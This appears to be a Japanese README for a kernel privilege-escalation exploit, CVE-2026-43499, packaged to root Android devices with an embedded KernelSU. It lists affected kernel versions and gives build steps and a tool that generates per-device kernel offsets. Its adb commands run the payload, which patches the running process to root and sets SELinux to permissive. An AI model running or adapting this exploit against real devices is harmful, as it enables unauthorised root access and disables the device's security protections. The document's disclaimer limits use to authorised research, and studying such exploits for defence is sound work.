
CVE-2026-43499-root-KernelSU — Updated!
カーネル脆弱性CVE-2026-43499に基づくローカル権限昇格の適応版で、組み込みKernelSUを統合。CVE-2026-43499+KernelSU脱獄モード
CVE-2026-43499-root-KernelSU
カーネル脆弱性 CVE-2026-43499 に基づくローカル権限昇格アダプテーションで、組み込み KernelSU を統合しています。コンパイルすると preload.so が生成されます。トリガーが成功すると、KernelSU は late-load モード(脱獄モード)で起動します。(xbl_config.img / vendor_boot.img) + boot.img から target.h を生成できます。
ローカル権限昇格アダプテーションはカーネル脆弱性に基づいており、組み込み KernelSU を統合しています。
preload.so をコンパイル生成します。エクスプロイトが成功すると、KernelSU は late-load モード(脱獄モード)で起動します。
(xbl_config.img / vendor_boot.img) + boot.img から target.h を生成できます。または他の方法。
参考プロジェクト:
- Linuxoid-cn/CVE-2026-43499-Poc-Analysis
- x-spy/CVE-2026-43499-popsicle
- Colorful-glassblock/duchamp-root
[!IMPORTANT] 脆弱性を不正に利用してコンピュータシステムを損傷・侵害・不正アクセスすることは法律で禁止されています。このプロジェクトは研究・教育・学習目的でのみ提供され、事前に許可を得たシステムおよび環境でのみ使用できます。このプロジェクトの使用はすべて利用者自身の責任で行われます。著者および貢献者は、このプロジェクトの誤用、またはその使用によって生じるいかなる損害、損失、法的結果についても責任を負いません。
免責事項:許可なく脆弱性を利用してコンピュータシステムに対して破壊、侵入、または不正アクセスを行う行為は、関連する法律・規制に違反する可能性があります。このプロジェクトは、正当な許可を得たシステムおよび環境において、セキュリティ研究、学習、テスト目的にのみ使用が制限されます。このプロジェクトの使用、誤用、または変更によって生じる直接的・間接的な損害、法的責任、その他の結果は、すべて利用者が負担するものとし、プロジェクトの著者および貢献者は一切の責任を負いません。
影響範囲
お使いのカーネルバージョンが {Linux Kernel} の場合、この脆弱性の影響範囲に該当します
-
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
-
2.6.39 <= {Linux Kernel} < 6.1.175
-
6.2 <= {Linux Kernel} < 6.6.140
-
6.7 <= {Linux Kernel} < 6.12.86
-
6.13 <= {Linux Kernel} < 6.18.27
-
6.19 <= {Linux Kernel} < 7.0.4
現在の状態
| Target | 状態 |
|---|---|
rodin(デフォルト) | 検証済み |
その他 src/targets/* | 参考 |
ディレクトリ構造
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
ビルド
依存関係
- Linux host
- Android NDK
- デフォルトパス:
~/android-ndk-r29 - または設定:
ANDROID_NDK_HOME/ANDROID_NDK_ROOT/NDK_ROOT
- デフォルトパス:
makegit
ビルド
make PROJECT=<target> -j$(nproc)
出力:
build/<target>/bin/preload.so
利用可能な target を確認
make list-projects
target.h の生成
このリポジトリには、統一された target 生成スクリプトが組み込まれています:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py がエントリスクリプトです。親ディレクトリのすべての target 生成フローを参照してカプセル化し、最終的にこのリポジトリのソースコードに適合する完全な src/targets/<project>/target.h を出力します。
スクリプトは IKCONFIG 内の CONFIG_DEBUG_INFO_BTF=y を強制的に検証しません。構造体フィールドのオフセットや percpu entry_task レイアウトを検証できない場合は、警告を出力して生成を続行します。
イメージ内に利用可能な BTF がまったくない場合、例えば次のように表示された場合:
有效 vmlinux BTF 候选不唯一: []
生成器は BTF なしフォールバック に入ります:
- 現在の
boot.imgの kallsyms から関数/グローバルオブジェクトのシンボルオフセットを復元し続けます; - BTF から復元できない構造体フィールド/レイアウトマクロは、テンプレート target(デフォルトは
rodin)を継承します; - 生成されたヘッダーの先頭に、
without BTFと使用されたテンプレートを示す警告が書き込まれます; - このようなヘッダーは可能な限りコンパイル可能であることを保証しますが、実行時の信頼性は実機での検証が必要です。
フォールバックテンプレートを指定できます:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
1. boot.img + profile JSON を使用して生成
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
デフォルトで書き込まれる場所:
src/targets/<project>/target.h
スクリプトを直接呼び出すこともできます:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json には物理アドレス情報を含める必要があります。例:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
2. root 化された ADB デバイスから profile を検出
profile のみを生成:
make detect-profile PROFILE_OUT=profile.json
profile を検出してすぐに target を生成:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
3. (xbl_config.img / vendor_boot.img) + boot.img からの生成
スクリプトは、親ディレクトリの生成器がサポートする他のエントリも公開しています:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
例
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
成功時の出力形式:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin はデフォルトで実機検証済みの次の値を保持します:
#define MM_STRUCT_SZ 0x500
上書きが必要な場合:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
新しい target の追加
一致する boot image と profile から生成することを推奨します:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
完全な target ヘッダーには以下が含まれます:
- direct map / physical profile の定数
- KASLR slide オブジェクトのオフセット
- task / cred / SELinux のオフセット
- pipe / fops / configfs のオフセット
- pselect レイアウト値(例:
PSELECT_WAITER_WORD_SHIFT) MM_STRUCT_SZと KernelSnitch の調整値
実行
現在のソースコードにはデフォルト値が書き込まれているため、通常の実行では LD_PRELOAD を設定し、任意のプログラム(toybox id を推奨)を実行するだけです。
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
デフォルトの実行パラメータ
現在のデフォルト設定は次のとおりです:
| 設定 | デフォルト値 | 説明 |
|---|---|---|
KSUD_LATE_LOAD | 1 | ksud late-load を実行 |
KSUD_ALLOW_SHELL | 1 | --allow-shell を渡す |
KSUD_PACKAGE | me.weishu.kernelsu | ksud に渡すマネージャーのパッケージ名(効果がない模様) |
KSUD_DST | /data/local/tmp/ksud | 組み込み ksud の書き出し先パス |
KSUD_SKIP_WRITE | 0 | デフォルトで組み込み ksud を書き出す |
KSUD_DEFER_TO_PARENT | 1 | パッチ済みの親/現在のプロセスパスから ksud を起動 |
ROOT_PATCH_SELF | 1 | 現在のプロセスを uid 0 にパッチする |
DISABLE_SELINUX | 1 | root パッチ時に SELinux enforcing を permissive に書き換える |
ROOT_EXIT_SLEEP | 未設定 / 0 | 戻る前に追加の sleep を行わない |
デフォルトで実際に実行される ksud コマンドは次のとおりです:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
これらの環境変数は実行時に上書きできます。例:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
すでに書き出された ksud を再利用する場合:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
クリーンアップ
make clean
make clean は build/embed/ksud を保持します。src/ksud_blob.S が以下の方法でそれを埋め込むためです:
.incbin "build/embed/ksud"
手動クリーンアップによって build/embed/ksud が失われた場合は、次のように復元できます:
git checkout -- build/embed/ksud
よくある質問
.incbin "build/embed/ksud" が見つかりません
組み込み payload を復元して再ビルドします:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
FOPS route が success=0 を返す
rodin は legacy/simple pselect レイアウトの使用を想定しています:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
デバイスの状態が失敗した試行によって汚染されている場合は、再起動してから再試行します:
adb reboot
F_SETPIPE_SZ が EPERM を返す
通常は失敗・残存する試行による状態の問題であり、再起動が最も迅速なクリーンアップ方法です:
adb reboot
ksud は起動するが /proc/modules に KernelSU がない
ログを確認します:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
必要に応じて root シェルで手動実行します:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
ライセンス
GPL-3.0。LICENSE を参照してください。